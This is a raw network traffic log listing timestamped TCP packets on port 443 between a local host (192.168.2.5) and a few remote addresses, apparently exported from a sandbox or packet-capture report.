Nov 18, 2024 20:22:06.972042084 CET	50036	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.972083092 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:06.972161055 CET	50036	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.973043919 CET	50036	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:06.973057985 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.053443909 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.053668022 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.053958893 CET	50033	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.054131031 CET	50033	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.054168940 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.054197073 CET	50033	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.054212093 CET	443	50033	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.057796001 CET	50037	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.057842016 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.057979107 CET	50037	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.058173895 CET	50037	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.058186054 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.062117100 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.062607050 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.062684059 CET	50032	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.062720060 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.062745094 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.062794924 CET	50032	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.062880039 CET	50032	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.062896013 CET	443	50032	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.065442085 CET	50038	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.065473080 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.066026926 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.066109896 CET	50038	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.066950083 CET	50038	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.066963911 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.067082882 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.067112923 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.067533016 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.067544937 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.200061083 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.200114012 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.200162888 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.200189114 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.200222969 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.200448990 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.200469971 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.200565100 CET	50034	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.200572968 CET	443	50034	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.203613043 CET	50039	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.203643084 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.203929901 CET	50039	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.204063892 CET	50039	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.204071999 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.356374025 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.356919050 CET	50035	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.356946945 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.357384920 CET	50035	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.357389927 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.520549059 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.520659924 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.520764112 CET	50035	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.521033049 CET	50035	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.521033049 CET	50035	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.521076918 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.521102905 CET	443	50035	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.524183989 CET	50040	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.524228096 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.524295092 CET	50040	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.524616957 CET	50040	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.524626970 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.727329016 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.727845907 CET	50036	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.727865934 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.728291035 CET	50036	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.728296995 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.806955099 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.808342934 CET	50037	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.808362961 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.808712006 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.809092999 CET	50037	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.809098005 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.809098959 CET	50038	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.809127092 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.809525967 CET	50038	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.809530973 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.895644903 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.895733118 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.895939112 CET	50036	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.896038055 CET	50036	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.896059036 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.896070004 CET	50036	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.896075010 CET	443	50036	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.898664951 CET	50041	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.898705959 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.898868084 CET	50041	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.899012089 CET	50041	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.899025917 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.937103033 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.937171936 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.937295914 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.937448025 CET	50038	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.937534094 CET	50038	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.937544107 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.937551022 CET	50038	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.937556028 CET	443	50038	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.939301014 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.939567089 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.939620018 CET	50037	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.939718962 CET	50037	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.939729929 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.939740896 CET	50037	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.939749002 CET	443	50037	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.940419912 CET	50042	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.940479994 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.941028118 CET	50042	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.941875935 CET	50042	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.941894054 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.942095995 CET	50043	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.942112923 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.942383051 CET	50043	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.942487001 CET	50043	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.942498922 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.956211090 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.956621885 CET	50039	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.956640005 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:07.957367897 CET	50039	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:07.957374096 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.343091011 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.343182087 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.343235016 CET	50039	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.343381882 CET	50039	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.343400955 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.343410969 CET	50039	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.343415976 CET	443	50039	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.346326113 CET	50044	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.346364975 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.346452951 CET	50044	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.346582890 CET	50044	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.346592903 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.480920076 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.481575012 CET	50040	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.481595993 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.482532024 CET	50040	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.482536077 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.615693092 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.615788937 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.615874052 CET	50040	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.616061926 CET	50040	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.616080999 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.616116047 CET	50040	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.616122961 CET	443	50040	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.618773937 CET	50045	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.618808031 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.619040012 CET	50045	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.619194031 CET	50045	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.619210958 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.627923965 CET	443	49873	23.1.237.91	192.168.2.5
Nov 18, 2024 20:22:08.628019094 CET	49873	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:22:08.631742954 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.632194996 CET	50041	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.632226944 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.632800102 CET	50041	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.632805109 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.665770054 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.666728973 CET	50043	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.666742086 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.667292118 CET	50043	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.667294979 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.698667049 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.699289083 CET	50042	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.699321985 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.699768066 CET	50042	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.699774981 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.773153067 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.773226976 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.773273945 CET	50041	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.773761034 CET	50041	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.773780107 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.773789883 CET	50041	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.773793936 CET	443	50041	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.777117014 CET	50046	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.777158976 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.777215958 CET	50046	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.777441025 CET	50046	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.777452946 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.796983957 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.797049046 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.797101974 CET	50043	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.797256947 CET	50043	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.797262907 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.797286034 CET	50043	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.797290087 CET	443	50043	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.800630093 CET	50047	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.800656080 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.800745964 CET	50047	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.801271915 CET	50047	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.801285028 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.831434011 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.831593990 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.831654072 CET	50042	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.831749916 CET	50042	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.831772089 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.831784964 CET	50042	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.831794977 CET	443	50042	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.834130049 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.834156036 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:08.834273100 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.834444046 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:08.834455967 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.125158072 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.125917912 CET	50044	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.125931978 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.126431942 CET	50044	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.126440048 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.262710094 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.262887955 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.263118029 CET	50044	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.263183117 CET	50044	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.263202906 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.263212919 CET	50044	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.263220072 CET	443	50044	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.266177893 CET	50049	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.266232967 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.266587019 CET	50049	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.266771078 CET	50049	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.266788006 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.383213997 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.384289980 CET	50045	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.384314060 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.384885073 CET	50045	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.384891987 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.514168024 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.514240980 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.514488935 CET	50045	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.514549971 CET	50045	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.514549971 CET	50045	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.514564991 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.514574051 CET	443	50045	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.517355919 CET	50050	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.517400026 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.517487049 CET	50050	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.517680883 CET	50050	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.517693043 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.525681019 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.526091099 CET	50046	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.526107073 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.526545048 CET	50046	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.526549101 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.551279068 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.551850080 CET	50047	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.551867008 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.552257061 CET	50047	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.552262068 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.574336052 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.574883938 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.574908018 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.575514078 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.575520039 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.657901049 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.658049107 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.658132076 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.658202887 CET	50046	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.658328056 CET	50046	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.658346891 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.658377886 CET	50046	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.658384085 CET	443	50046	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.661746979 CET	50051	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.661792994 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.662106991 CET	50051	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.662313938 CET	50051	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.662328959 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.685086012 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.685265064 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.685369015 CET	50047	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.685565948 CET	50047	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.685565948 CET	50047	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.685579062 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.685590029 CET	443	50047	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.688684940 CET	50052	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.688736916 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.688909054 CET	50052	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.689102888 CET	50052	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.689115047 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.703107119 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.703135967 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.703187943 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.703257084 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.703257084 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.703459024 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.703459024 CET	50048	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.703483105 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.703509092 CET	443	50048	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.706379890 CET	50053	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.706403971 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:09.706728935 CET	50053	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.706957102 CET	50053	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:09.706981897 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.031758070 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.032573938 CET	50049	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.032593966 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.033097029 CET	50049	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.033104897 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.167397022 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.167489052 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.167695045 CET	50049	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.167766094 CET	50049	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.167793989 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.167808056 CET	50049	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.167813063 CET	443	50049	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.170670986 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.170720100 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.171046019 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.171222925 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.171236038 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.258562088 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.259349108 CET	50050	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.259373903 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.259563923 CET	50050	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.259571075 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.387356997 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.387392998 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.387449026 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.387598038 CET	50050	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.387686014 CET	50050	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.387708902 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.387727022 CET	50050	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.387734890 CET	443	50050	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.390731096 CET	50055	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.390772104 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.390928030 CET	50055	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.391022921 CET	50055	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.391036034 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.428940058 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.429380894 CET	50051	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.429399967 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.429877043 CET	50051	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.429882050 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.429989100 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.430354118 CET	50052	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.430377007 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.430778980 CET	50052	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.430783987 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.440241098 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.440599918 CET	50053	443	192.168.2.5	13.107.246.45
